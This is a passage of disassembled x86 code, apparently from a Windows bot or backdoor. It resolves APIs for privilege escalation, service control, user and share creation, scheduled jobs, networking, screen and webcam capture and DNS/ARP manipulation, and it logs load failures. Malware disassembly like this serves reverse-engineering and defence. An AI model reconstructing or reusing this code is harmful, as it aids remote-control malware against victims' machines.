sub_40891C+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43C538, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43C510, eax call esi ; GetProcAddress cmp dword_43C538, ebx mov dword_43C5C0, eax jz short loc_408C4B cmp dword_43C510, ebx jz short loc_408C4B cmp eax, ebx jnz short loc_408C55 loc_408C4B: ; CODE XREF: sub_40891C+321j ; sub_40891C+329j mov dword_43C620, 1 loc_408C55: ; CODE XREF: sub_40891C+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43C548, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_43C43C, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_43C444, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_43C4A4, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43C4A8, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43C458, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43C514, eax call esi ; GetProcAddress cmp dword_43C548, ebx mov dword_43C448, eax jz short loc_408CF9 cmp dword_43C43C, ebx jz short loc_408CF9 cmp dword_43C444, ebx jz short loc_408CF9 cmp dword_43C4A4, ebx jz short loc_408CF9 cmp dword_43C4A8, ebx jz short loc_408CF9 cmp dword_43C458, ebx jz short loc_408CF9 cmp dword_43C514, ebx jz short loc_408CF9 cmp eax, ebx jnz short loc_408D03 loc_408CF9: ; CODE XREF: sub_40891C+3A7j ; sub_40891C+3AFj ... mov dword_43C620, 1 loc_408D03: ; CODE XREF: sub_40891C+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43C440, eax jnz short loc_408D2B jmp short loc_408D21 ; --------------------------------------------------------------------------- loc_408D16: ; CODE XREF: sub_40891C+26Aj call dword_421088 ; RtlGetLastWin32Error mov dword_43C624, eax loc_408D21: ; CODE XREF: sub_40891C+3F8j mov dword_43C620, 1 loc_408D2B: ; CODE XREF: sub_40891C+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_408DF7 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43C540, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43C598, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43C5A0, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43C55C, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_43C484, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_43C430, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_43C59C, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_43C41C, eax call esi ; GetProcAddress cmp dword_43C540, ebx mov dword_43C4B8, eax jz short loc_408E02 cmp dword_43C598, ebx jz short loc_408E02 cmp dword_43C5A0, ebx jz short loc_408E02 cmp dword_43C55C, ebx jz short loc_408E02 cmp dword_43C484, ebx jz short loc_408E02 cmp dword_43C430, ebx jz short loc_408E02 cmp dword_43C59C, ebx jz short loc_408E02 cmp dword_43C41C, ebx jz short loc_408E02 cmp eax, ebx jnz short loc_408E0C jmp short loc_408E02 ; --------------------------------------------------------------------------- loc_408DF7: ; CODE XREF: sub_40891C+41Aj call dword_421088 ; RtlGetLastWin32Error mov dword_43C62C, eax loc_408E02: ; CODE XREF: sub_40891C+49Bj ; sub_40891C+4A3j ... mov dword_43C628, 1 loc_408E0C: ; CODE XREF: sub_40891C+4D7j mov ebp, dword_4210C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4090C8 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_43C4CC, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43C5F8, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43C470, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43C44C, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43C500, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_43C4E8, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_43C4B4, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43C5D4, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_43C5F0, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43C4FC, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_43C5E0, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_43C594, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_43C554, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_43C550, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_43C490, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_43C488, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_43C5A4, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_43C5B8, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_43C56C, eax call esi ; GetProcAddress mov dword_43C52C, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_43C580, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_43C53C, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_43C57C, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_43C5E8, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_43C534, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_43C4F8, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_43C568, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43C5D8, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_43C50C, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_43C4B0, eax call esi ; GetProcAddress cmp dword_43C4CC, ebx mov dword_43C5EC, eax jz loc_4090D3 cmp dword_43C5F8, ebx jz loc_4090D3 cmp dword_43C470, ebx jz loc_4090D3 cmp dword_43C500, ebx jz loc_4090D3 cmp dword_43C4E8, ebx jz loc_4090D3 cmp dword_43C4B4, ebx jz loc_4090D3 cmp dword_43C5D4, ebx jz loc_4090D3 cmp dword_43C5F0, ebx jz loc_4090D3 cmp dword_43C4FC, ebx jz loc_4090D3 cmp dword_43C5E0, ebx jz loc_4090D3 cmp dword_43C594, ebx jz loc_4090D3 cmp dword_43C554, ebx jz loc_4090D3 cmp dword_43C550, ebx jz loc_4090D3 cmp dword_43C490, ebx jz short loc_4090D3 cmp dword_43C5A4, ebx jz short loc_4090D3 cmp dword_43C5B8, ebx jz short loc_4090D3 cmp dword_43C56C, ebx jz short loc_4090D3 cmp dword_43C52C, ebx jz short loc_4090D3 cmp dword_43C580, ebx jz short loc_4090D3 cmp dword_43C53C, ebx jz short loc_4090D3 cmp dword_43C57C, ebx jz short loc_4090D3 cmp dword_43C5E8, ebx jz short loc_4090D3 cmp dword_43C534, ebx jz short loc_4090D3 cmp dword_43C4F8, ebx jz short loc_4090D3 cmp dword_43C568, ebx jz short loc_4090D3 cmp dword_43C5D8, ebx jz short loc_4090D3 cmp dword_43C50C, ebx jz short loc_4090D3 cmp eax, ebx jnz short loc_4090DD jmp short loc_4090D3 ; --------------------------------------------------------------------------- loc_4090C8: ; CODE XREF: sub_40891C+501j call dword_421088 ; RtlGetLastWin32Error mov dword_43C634, eax loc_4090D3: ; CODE XREF: sub_40891C+6A0j ; sub_40891C+6ACj ... mov dword_43C630, 1 loc_4090DD: ; CODE XREF: sub_40891C+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4091E2 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43C498, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43C424, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43C51C, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43C4D0, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_43C528, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43C4EC, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43C464, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43C45C, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43C46C, eax call esi ; GetProcAddress cmp dword_43C498, ebx mov ecx, dword_43C4EC mov dword_43C588, eax jz short loc_4091BE cmp dword_43C424, ebx jz short loc_4091BE cmp dword_43C51C, ebx jz short loc_4091BE cmp dword_43C4D0, ebx jz short loc_4091BE cmp dword_43C528, ebx jz short loc_4091BE cmp ecx, ebx jz short loc_4091BE cmp dword_43C464, ebx jz short loc_4091BE cmp dword_43C45C, ebx jz short loc_4091BE cmp dword_43C46C, ebx jz short loc_4091BE cmp eax, ebx jnz short loc_4091C8 loc_4091BE: ; CODE XREF: sub_40891C+860j ; sub_40891C+868j ... mov dword_43C638, 1 loc_4091C8: ; CODE XREF: sub_40891C+8A0j cmp ecx, ebx jz short loc_4091FD push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_43C504, eax jnz short loc_4091FD jmp short loc_4091F7 ; --------------------------------------------------------------------------- loc_4091E2: ; CODE XREF: sub_40891C+7CCj call dword_421088 ; RtlGetLastWin32Error mov dword_43C63C, eax mov dword_43C638, 1 loc_4091F7: ; CODE XREF: sub_40891C+8C4j mov dword_43C504, ebx loc_4091FD: ; CODE XREF: sub_40891C+8AEj ; sub_40891C+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409247 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43C4E0, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43C608, eax call esi ; GetProcAddress cmp dword_43C4E0, ebx mov dword_43C478, eax jz short loc_409252 cmp dword_43C608, ebx jz short loc_409252 cmp eax, ebx jnz short loc_40925C jmp short loc_409252 ; --------------------------------------------------------------------------- loc_409247: ; CODE XREF: sub_40891C+8ECj call dword_421088 ; RtlGetLastWin32Error mov dword_43C644, eax loc_409252: ; CODE XREF: sub_40891C+91Bj ; sub_40891C+923j ... mov dword_43C640, 1 loc_40925C: ; CODE XREF: sub_40891C+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409352 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_43C454, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43C42C, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43C4A0, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43C4D4, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43C5E4, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43C48C, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_43C438, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43C428, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43C4BC, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43C5AC, eax call esi ; GetProcAddress cmp dword_43C454, ebx mov dword_43C564, eax jz short loc_40935D cmp dword_43C42C, ebx jz short loc_40935D cmp dword_43C4A0, ebx jz short loc_40935D cmp dword_43C4D4, ebx jz short loc_40935D cmp dword_43C5E4, ebx jz short loc_40935D cmp dword_43C48C, ebx jz short loc_40935D cmp dword_43C438, ebx jz short loc_40935D cmp dword_43C428, ebx jz short loc_40935D cmp dword_43C4BC, ebx jz short loc_40935D cmp dword_43C5AC, ebx jz short loc_40935D cmp eax, ebx jnz short loc_409367 jmp short loc_40935D ; --------------------------------------------------------------------------- loc_409352: ; CODE XREF: sub_40891C+94Bj call dword_421088 ; RtlGetLastWin32Error mov dword_43C64C, eax loc_40935D: ; CODE XREF: sub_40891C+9E6j ; sub_40891C+9EEj ... mov dword_43C648, 1 loc_409367: ; CODE XREF: sub_40891C+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40939C push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43C47C, eax call esi ; GetProcAddress cmp dword_43C47C, ebx mov dword_43C54C, eax jz short loc_4093A7 cmp eax, ebx jnz short loc_4093B1 jmp short loc_4093A7 ; --------------------------------------------------------------------------- loc_40939C: ; CODE XREF: sub_40891C+A56j call dword_421088 ; RtlGetLastWin32Error mov dword_43C654, eax loc_4093A7: ; CODE XREF: sub_40891C+A78j ; sub_40891C+A7Ej mov dword_43C650, 1 loc_4093B1: ; CODE XREF: sub_40891C+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4093E6 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43C5D0, eax call esi ; GetProcAddress cmp dword_43C5D0, ebx mov dword_43C5CC, eax jz short loc_4093F1 cmp eax, ebx jnz short loc_4093FB jmp short loc_4093F1 ; --------------------------------------------------------------------------- loc_4093E6: ; CODE XREF: sub_40891C+AA0j call dword_421088 ; RtlGetLastWin32Error mov dword_43C65C, eax loc_4093F1: ; CODE XREF: sub_40891C+AC2j ; sub_40891C+AC8j mov dword_43C658, 1 loc_4093FB: ; CODE XREF: sub_40891C+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40945A push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43C5FC, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43C5F4, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43C5BC, eax call esi ; GetProcAddress cmp dword_43C5FC, ebx mov dword_43C494, eax jz short loc_409465 cmp dword_43C5F4, ebx jz short loc_409465 cmp dword_43C5BC, ebx jz short loc_409465 cmp eax, ebx jnz short loc_40946F jmp short loc_409465 ; --------------------------------------------------------------------------- loc_40945A: ; CODE XREF: sub_40891C+AEAj call dword_421088 ; RtlGetLastWin32Error mov dword_43C664, eax loc_409465: ; CODE XREF: sub_40891C+B26j ; sub_40891C+B2Ej ... mov dword_43C660, 1 loc_40946F: ; CODE XREF: sub_40891C+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4094A4 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43C4C8, eax call esi ; GetProcAddress cmp dword_43C4C8, ebx mov dword_43C5C8, eax jz short loc_4094AF cmp eax, ebx jnz short loc_4094B9 jmp short loc_4094AF ; --------------------------------------------------------------------------- loc_4094A4: ; CODE XREF: sub_40891C+B5Ej call dword_421088 ; RtlGetLastWin32Error mov dword_43C66C, eax loc_4094AF: ; CODE XREF: sub_40891C+B80j ; sub_40891C+B86j mov dword_43C668, 1 loc_4094B9: ; CODE XREF: sub_40891C+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409542 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43C590, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43C5DC, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43C518, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43C4D8, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43C570, eax call esi ; GetProcAddress cmp dword_43C590, ebx mov dword_43C4E4, eax jz short loc_40954D cmp dword_43C5DC, ebx jz short loc_40954D cmp dword_43C518, ebx jz short loc_40954D cmp dword_43C4D8, ebx jz short loc_40954D cmp dword_43C570, ebx jz short loc_40954D cmp eax, ebx jnz short loc_409557 jmp short loc_40954D ; --------------------------------------------------------------------------- loc_409542: ; CODE XREF: sub_40891C+BA8j call dword_421088 ; RtlGetLastWin32Error mov dword_43C674, eax loc_40954D: ; CODE XREF: sub_40891C+BFEj ; sub_40891C+C06j ... mov dword_43C670, 1 loc_409557: ; CODE XREF: sub_40891C+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40958C push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43C4AC, eax call esi ; GetProcAddress cmp dword_43C4AC, ebx mov dword_43C584, eax jz short loc_409597 cmp eax, ebx jnz short loc_4095A1 jmp short loc_409597 ; --------------------------------------------------------------------------- loc_40958C: ; CODE XREF: sub_40891C+C46j call dword_421088 ; RtlGetLastWin32Error mov dword_43C67C, eax loc_409597: ; CODE XREF: sub_40891C+C68j ; sub_40891C+C6Ej mov dword_43C678, 1 loc_4095A1: ; CODE XREF: sub_40891C+C6Cj pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_40891C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095A9 proc near ; CODE XREF: sub_40CD3A+51A1p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43C610, esi push edi mov edi, [ebp+arg_8] jz short loc_4095F1 push dword_43C614 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_4095F1: ; CODE XREF: sub_4095A9+1Aj cmp dword_43C618, esi jz short loc_409625 push dword_43C61C lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_409625: ; CODE XREF: sub_4095A9+4Ej cmp dword_43C620, esi jz short loc_409659 push dword_43C624 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_409659: ; CODE XREF: sub_4095A9+82j cmp dword_43C628, esi jz short loc_40968D push dword_43C62C lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_40968D: ; CODE XREF: sub_4095A9+B6j cmp dword_43C630, esi jz short loc_4096C1 push dword_43C634 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_4096C1: ; CODE XREF: sub_4095A9+EAj cmp dword_43C638, esi jz short loc_4096F5 push dword_43C63C lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_4096F5: ; CODE XREF: sub_4095A9+11Ej cmp dword_43C640, esi jz short loc_409729 push dword_43C644 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_409729: ; CODE XREF: sub_4095A9+152j cmp dword_43C648, esi jz short loc_40975D push dword_43C64C lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_40975D: ; CODE XREF: sub_4095A9+186j cmp dword_43C650, esi jz short loc_409791 push dword_43C654 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_409791: ; CODE XREF: sub_4095A9+1BAj cmp dword_43C658, esi jz short loc_4097C5 push dword_43C65C lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_4097C5: ; CODE XREF: sub_4095A9+1EEj cmp dword_43C660, esi jz short loc_4097F9 push dword_43C664 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_4097F9: ; CODE XREF: sub_4095A9+222j cmp dword_43C668, esi jz short loc_40982D push dword_43C66C lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_40982D: ; CODE XREF: sub_4095A9+256j cmp dword_43C670, esi jz short loc_409861 push dword_43C674 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_409861: ; CODE XREF: sub_4095A9+28Aj cmp dword_43C678, esi jz short loc_409895 push dword_43C67C lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_415316 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 20h loc_409895: ; CODE XREF: sub_4095A9+2BEj lea eax, [ebp+var_200] push offset dword_429A94 push eax call sub_415316 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_4098C2 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_4098C2: ; CODE XREF: sub_4095A9+302j lea eax, [ebp+var_200] push eax call sub_40B078 pop ecx pop edi pop esi pop ebx leave retn sub_4095A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098D4 proc near ; CODE XREF: sub_40CD3A+BEFp ; sub_40CD3A+C20p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40995F mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40995F cmp [ebp+arg_8], esi jz short loc_40995F cmp byte ptr [eax], 0 jz short loc_40995F push ebx push edi call sub_42067A mov ebx, eax pop ecx test ebx, ebx jz short loc_40995A push [ebp+arg_4] push edi call sub_4158E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_409953 sub eax, edi push eax push edi push ebx call sub_416BE0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_415B10 push eax push [ebp+arg_8] push ebx call sub_416DB0 push [ebp+arg_4] call sub_415B10 add eax, esi push eax push ebx call sub_415A30 push ebx push edi call sub_415A20 add esp, 30h mov esi, edi loc_409953: ; CODE XREF: sub_4098D4+3Cj push ebx call sub_415C9B pop ecx loc_40995A: ; CODE XREF: sub_4098D4+2Bj mov eax, esi pop ebx jmp short loc_409961 ; --------------------------------------------------------------------------- loc_40995F: ; CODE XREF: sub_4098D4+Cj ; sub_4098D4+13j ... xor eax, eax loc_409961: ; CODE XREF: sub_4098D4+89j pop edi pop esi pop ebp retn sub_4098D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409965 proc near ; CODE XREF: sub_40CBBE+E9p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor ebx, ebx push 7D0h lea eax, [ebp+var_7D0] push ebx push eax call sub_415390 mov esi, [ebp+arg_0] push esi call sub_415B10 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_40999D or eax, 0FFFFFFFFh jmp short loc_409A04 ; --------------------------------------------------------------------------- loc_40999D: ; CODE XREF: sub_409965+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_7D0], esi jle short loc_4099BE loc_4099A9: ; CODE XREF: sub_409965+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4099B6 cmp dl, 0Dh jnz short loc_4099B9 loc_4099B6: ; CODE XREF: sub_409965+4Aj mov [ecx+esi], bl loc_4099B9: ; CODE XREF: sub_409965+4Fj inc ecx cmp ecx, eax jl short loc_4099A9 loc_4099BE: ; CODE XREF: sub_409965+42j xor edx, edx cmp eax, ebx jle short loc_4099E6 loc_4099C4: ; CODE XREF: sub_409965+7Fj cmp [edx+esi], bl jnz short loc_4099E1 lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_4099E1 cmp edi, 1F4h jge short loc_4099E6 mov [ebp+edi*4+var_7D0], ecx inc edi loc_4099E1: ; CODE XREF: sub_409965+62j ; sub_409965+6Aj inc edx cmp edx, eax jl short loc_4099C4 loc_4099E6: ; CODE XREF: sub_409965+5Dj ; sub_409965+72j cmp [ebp+arg_4], ebx jz short loc_409A02 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_4153F0 add esp, 0Ch loc_409A02: ; CODE XREF: sub_409965+84j mov eax, edi loc_409A04: ; CODE XREF: sub_409965+36j pop edi pop esi pop ebx leave retn sub_409965 endp ; =============== S U B R O U T I N E ======================================= sub_409A09 proc near ; CODE XREF: sub_409A63+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_409A42 push ebx mov ebx, edi loc_409A26: ; CODE XREF: sub_409A09+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_409A45 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_409A26 pop ebx loc_409A42: ; CODE XREF: sub_409A09+18j pop edi pop esi retn sub_409A09 endp ; =============== S U B R O U T I N E ======================================= sub_409A45 proc near ; CODE XREF: sub_409A09+25p ; sub_409A63+69p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_417033 cmp al, 61h pop ecx jl short loc_409A60 cmp al, 7Ah jg short loc_409A60 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_409A60: ; CODE XREF: sub_409A45+Ej ; sub_409A45+12j xor eax, eax retn sub_409A45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A63 proc near ; CODE XREF: sub_40B158+10p ; sub_40B18A+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = 